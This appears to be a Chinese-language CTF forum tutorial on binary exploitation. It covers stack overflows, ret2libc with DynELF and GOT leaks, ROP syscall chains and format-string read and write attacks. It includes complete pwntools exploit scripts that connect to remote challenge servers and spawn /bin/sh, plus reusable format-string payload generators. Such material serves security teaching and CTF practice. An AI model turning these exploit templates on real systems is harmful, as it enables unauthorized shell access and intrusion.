以如下程序为例子
#include<stdio.h><br>int main(){ char buf[30] = ""; gets(buf); return 0; }
通过gdb调试,我们可以看到buf的存储地址在0xffffd5d6处,push eax来入栈。 当程序继续向下运行的时候,会有返回点,由于gets未对输入的字符串长度进行限制,所以我们可以通过覆盖返回点来控制程序走向。 以攻防世界level1的一个题目为例,程序的溢出点在vulnerable_function中 通过执行add esp,0x10, leave可以达到返回点 则通过ret 将返回到0x8048486,所以当我们将buf读入大量的字符串的时候,输入的字符串可以覆盖到ret的地址,将产生缓冲区溢出。(问题:在输入大量的字符串的过程中不影响程序的运行么?答:不影响,因为通过调试我们可以看到在变量的读入到ret的地址的栈空间的数据,在程序的运行过程中,直接leave(mov esp ebp;pop ebp)掉,并没有对程序产生直接影响。计算偏移的过程,通过计算字符串与ebp的差值,然后+4即可计算出偏移。
xman攻防世界的level1题目在远程环境和本地环境中,有所区别,本地可以直接拿到buf泄露的地址,但是在远程环境中,则是先接受输入,然后拿到输出的,在后来的出题过程中发现,是由于没有在题目中置空缓冲区造成的。在这里用到DynELF来泄露出其libc中system的地址,其大概原理,是不间断的重复执行程序的前两部分,直到得到system字符串,有些类似暴力破解(此处仅个人理解),此也为泄露libc中system的一个template
from pwn import *
import pwn
#nc pwn2.jarvisoj.com 9879
elf = ELF('./level3')
write_addr = elf.symbols['write']
read_addr = elf.symbols['read']
print(read_addr)
#raw_input()
start_addr = 0x8048350
#level3 = process('./level3')
#level3 = remote('111.198.29.45',42153)
level3 = remote('pwn2.jarvisoj.com',9879)
def leak(address):
data = level3.recv(7) #这里要特别注意,如果之后每次的跳转是start_addr,那么每次重新执行,都会接受到输出,如果忽略这里,很容易报错。
print (data)
payload = 'A' * 140
payload += p32(write_addr)
payload += p32(start_addr)
payload += p32(1)
payload += p32(address)
payload += p32(4)
level3.send(payload)
leak = level3.recv(4)
data = u32(leak)
print(hex(data))
#print(leak)
return leak
d = pwn.DynELF(leak,elf=ELF('./level3'))
system = d.lookup('system','libc')
data = level3.recv(7)
print ("data is ",data)
#bss_addr = elf
bss_addr = elf.bss()
pop_addr = 0x8048519
payload = 'A' * 140
payload += p32(read_addr)+p32(pop_addr)
payload += p32(0)
payload += p32(bss_addr)
payload += p32(8)
payload += p32(system)
payload += p32(0xdeadbeef)
payload += p32(bss_addr)
level3.sendline(payload)
#payload = '/bin/sh\x00'
#level3.sendline(payload)
level3.sendline('/bin/sh\x00')
#print(system)
level3.interactive()
未开启NX保护,堆栈可执行
如果堆栈可以执行,通过pattern来找到覆盖地址,直接通过shellcode来覆盖,程序运行跳转到shellcode 即可实现getshell
开启NX保护,使用ROP来跳转
有system('/bin/sh')直接跳转调用
没有system('/bin/sh')则可以通过系统调用来实现,满足系统调用,需要通过ropgadgetl来找到合适的gadgets。
#ROPgadget --binary level1 --only "pop|ret"
pop eax,#系统调用号 execve为0x0
pop ebx,#第一个参数/bin/sh
pop ecx,#第二个参数0
pop edx,#第三个参数0
int 0x80,#执行系统调用
如果找不到合适的ROPgadget则,通过导入函数,查看导入函数中是否有system。通过导入函数中的system来进一步getshell
程序中没有给出system,可以通过泄露libc中的system地址,进一步getshell
打开DEP防护,aslr是关闭的情况下,此时堆栈不可执行
gcc -fno-stack-protector -o level2 level2.c
#我们可以首先通过 objdump -R level2 来查看level调用的got表
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ff0 R_386_GLOB_DAT __gmon_start__
0804a000 R_386_JUMP_SLOT read
0804a004 R_386_JUMP_SLOT __gmon_start__
0804a008 R_386_JUMP_SLOT __libc_start_main
0804a00c R_386_JUMP_SLOT write
往往不会调用system函数,所以我们可以通过write或者read来泄露出在libc中的system的地址,从而实现调用。
real_write_addr - libc_write_addr = real_system_addr - libc_system_addr
### 本脚本摘自 一步一步学ROP之linux_x86篇 – 蒸米
#!python
#!/usr/bin/env python
from pwn import *
libc = ELF('libc.so')
elf = ELF('level2')
#p = process('./level2')
p = remote('127.0.0.1', 10003)
plt_write = elf.symbols['write']
print 'plt_write= ' + hex(plt_write)
got_write = elf.got['write']
print 'got_write= ' + hex(got_write)
vulfun_addr = 0x08048404
print 'vulfun= ' + hex(vulfun_addr)
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)
print "\n###sending payload1 ...###"
p.send(payload1)
print "\n###receving write() addr...###"
write_addr = u32(p.recv(4))
print 'write_addr=' + hex(write_addr)
print "\n###calculating system() addr and \"/bin/sh\" addr...###"
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
print 'system_addr= ' + hex(system_addr)
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
print 'binsh_addr= ' + hex(binsh_addr)
payload2 = 'a'*140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)
print "\n###sending payload2 ...###"
p.send(payload2)
p.interactive()
在通过printf来输出的时候,我们往往会通过printf("%s",s);来进行输出,有的时候,为了偷懒,我们也可以通过printf(s);来进行输出,当我们通过printf(s)来进行输出的时候,如果我们输入的字符串为"%s",那么printf会将字符串解析为格式化字符串参数,然后将堆栈上的内容输出。
我们以先知上的一道总结题目为例
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
int login(long long password)
{
char buf[0x10] = {0};
long long your_pass;
scanf("%15s", buf);
printf(buf);
printf("\n");
scanf("%lld", &your_pass);
return password == your_pass;
}
int main()
{
long long password;
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
srand(time(NULL));
password = rand();
if(login(password))
{
system("/bin/sh");
}
{
printf("Failed!\n");
}
return 0;
}
在先知的总结上,该题目类型是编译为64为程序,此处,我们编译为32位程序,通过
gcc -m32 leak_example leak_example.c
printf堆栈图如下 首先是将"%s"来入栈,然后将解析其为特定的格式化字符串参数。我们通过%n$x来输出特定的字符串。当我们用"%1$x"时,输出为0xffffd59c
通过计算我们可以知道此处应该为%20$lld
在上一小节中,我们能够泄露出在栈中,指定位置的数据,本节中,我们将通过格式化字符串来泄露任意地址位置的值。这里我们需要首先调试出printf的第一个参数在堆栈中存储的位置,确认其存在与第几个参数位置。然后在此处写入要读取的位置的地址,然后通过该地址将其值泄露出来,从而我们可以泄露scanf的地址
leakmory = ELF('./leakmory')
scanf_addr = leakmory.got['__isoc99_scanf']
payload = p32(scanf_addr)+"%n$s" #此处n为第几个参数
覆盖C的地址
%n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量
我们以CTF-wiki中pwn的栈内存覆盖为例来进行指定栈位置写。题目原型
/* example/overflow/overflow.c */
#include <stdio.h>
int a = 123, b = 456;
int main() {
int c = 789;
char s[100];
printf("%p\n", &c);
scanf("%s", s);
printf(s);
if (c == 16) {
puts("modified c.");
} else if (a == 2) {
puts("modified a for a small number.");
} else if (b == 0x12345678) {
puts("modified b for a big number!");
}
return 0;
}
通过peda我们可以看到栈中的实际的情况,s3anapwned是输入的字符串的位置,其偏移相对是6。我们要覆盖栈中的变量的时候,我们通过"%6$x"即可实现覆盖,由于%n的覆盖是覆盖为输出的字符的个数,故在"%6$x"前我们仍然要加上输出的指定的字符格式。
printf("addr%6$xs"),任意地址写分为两种情况,一种情况是写入的数值是一个小的数值,比如写入2,在之前我们往往是通过地址+偏移来写,而一个地址的偏移往往会大于等于4字节,这个时候,我们便不能将格式化字符串的地址放入到串首的位置,%n是将其前面已经输出的字符的个数写入对应的位置,这个时候,我们可以将地址后移,但是任然要找到其对应的位置,比如"aa%n$xaa(addr)"这个时候的addr将是第八个位置,(aa%n)是第七个位置,($xaa)将是第六个位置。从而可以实现将指定位置的数值写为2。
addr = 0x00000
payload = 'aa%8$naa"+p32(addr)
如果想要在指定的位置输出1或者 3,则调换a的相应的位置即可。 在分析完对较小的数值,可以继续看较大的数值的覆盖,此处引用CTF-wiki模板,先给出一个基本的payload构造
payload = p32(0x0804A028)+p32(0x0804A029)+p32(0x0804A02a)+p32(0x0804A02b)+pad1+'%6$n'+pad2+'%7$n'+pad3+'%8$n'+pad4+'%9$n'
其构造模板如下(源自CTF-Wiki)
def fmt(prev, word, index):
if prev < word:
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr
def fmt_str(offset, size, addr, target):
payload = ""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload
payload = fmt_str(6,4,0x0804A028,0x12345678)
其中每个参数的含义基本如下
offset 表示要覆盖的地址最初的偏移
size 表示机器字长
addr 表示将要覆盖的地址。
target 表示我们要覆盖为的目的变量值。 6是偏移值,4表示是32位程序,0x0804A028表示将要覆盖的起始地址,0x12345678表示要覆盖的目标值
checksec查看保护机制
NX: DEP(数据执行保护) 保护,堆栈执行保护,可以通过 -z execstack 开启保护,-z noexecstack 是开启该保护
PIE: 由gcc 决定,开启后每次加载程序都会变换加载地址,可以通过 -no-pie 关闭,编译时加上-fpie -pie即开启 PIE
canary: 缓冲区验证机制 由gcc决定 ,可以通过 -fno-stack-protector 关闭,gcc 默认开启canary
RELRO: 分为partial relro 和 full relro ,可以通过 -z nore | ro 关闭 relro,可以通过 -z re | ro 来开启 partial relro ,可以通过 -z re | ro -z now 开启全局
ASLR: 地址空间随机化 cat /proc/sys/kernel/randomize_va_space,可以分为0,1,2三级,可以通过 变换其值决定 详细可以参考 http://blog.eonew.cn/archives/222
[公告]安全服务和外包项目请将项目需求发到看雪企服平台:https://qifu.kanxue.com
最后于 11小时前 被seana编辑 ,原因: